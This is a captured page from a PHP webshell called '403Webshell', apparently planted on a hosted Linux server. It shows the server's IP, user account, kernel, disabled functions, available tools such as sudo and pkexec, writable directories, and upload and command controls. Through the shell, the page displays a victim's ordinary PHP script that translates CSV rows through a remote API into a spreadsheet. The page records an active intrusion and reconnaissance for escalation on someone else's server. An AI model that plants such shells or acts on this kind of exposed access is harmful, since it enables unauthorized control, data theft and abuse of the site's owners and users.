403Webshell
Server IP : 64.202.187.69  /  Your IP : 216.73.216.17
Web Server : Apache
System : Linux 69.187.202.64.host.secureserver.net 3.10.0-1160.144.1.el7.tuxcare.els6.x86_64 #1 SMP Fri May 29 16:22:24 UTC 2026 x86_64
User : transmarket ( 1001)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/transmarket/testtranslator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/transmarket/testtranslator/translate.php
<?php
// Generated by curl-to-PHP: http://incarnate.github.io/curl-to-php/
ini_set('display_errors',1);
//error_reporting(E_ALL);
error_reporting( E_ALL );
include 'SimpleXLSXGen.php';
	$row = 1;
function translate($str='') {
	//$data = array();
	$ch = curl_init();

	//$str = 'Resumption of new session';
	curl_setopt($ch, CURLOPT_URL, 'http://169.255.36.95:5000/translate?source_lang=English&target_lang=Spanish&input_data='.urlencode( $str ));
	//curl_setopt($ch, CURLOPT_URL, 'http://169.255.36.95:5000/translate');
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 1);
		$post[ 'source_lang' ]  = 'English';
		$post[ 'target_lang' ]  = 'Spanish';
		$post[ 'input_data' ] = urlencode( 'Resumption of new session' );//$str;
	//echo http_build_query( $post );
	//curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query(json_encode( $post ) ) );

	$headers = array();
	$headers[] = 'Accept: application/json';
	$headers[] = 'Content-Type: application/x-www-form-urlencoded';
	curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

	$result = curl_exec($ch);
//	print_r( $result );
	if (curl_errno($ch)) {
	    echo 'Error:' . curl_error($ch);
	}
	curl_close($ch);
	return  json_decode($result) ;

}
//translate('testing');
//die();
if ( ( $handle = fopen("EN_ES_4.csv", "r")) !== FALSE) {
	$trns[] =  ['English', 'Spanish', 'Api' ];

    while ( ( $data = fgetcsv($handle, 1000, "," ) ) !== FALSE  ) {
        $num = count($data);
        $row++;
    //        echo "col num is 0 -".$data[0] . "<br />\n";
            if( $data[0]!= ''  ){
            	//echo "in if<br>";
  	         	$translated_obj = translate($data[0]);
  	         	//print_r( $translated_obj );
  	         	//json_encode( $translated_obj );
  	         	echo "<hr />".$data[0]."-".$data[1]."-".$translated_obj->data;
  	         		$trns[] =  [$data[0], $data[1], $translated_obj->data];


            }else{
            	echo "can not translate blank value";
            }
      //  }
    }
    $xlsx = SimpleXLSXGen::fromArray( $trns );
$xlsx->saveAs('translated.xlsx'); // or downloadAs('books.xlsx') or $xlsx_content = (string) $xlsx 
die();  	         	

    fclose($handle);
}

echo "in translte";
////die();


Youez - 2016 - github.com/yon3zu
LinuXploit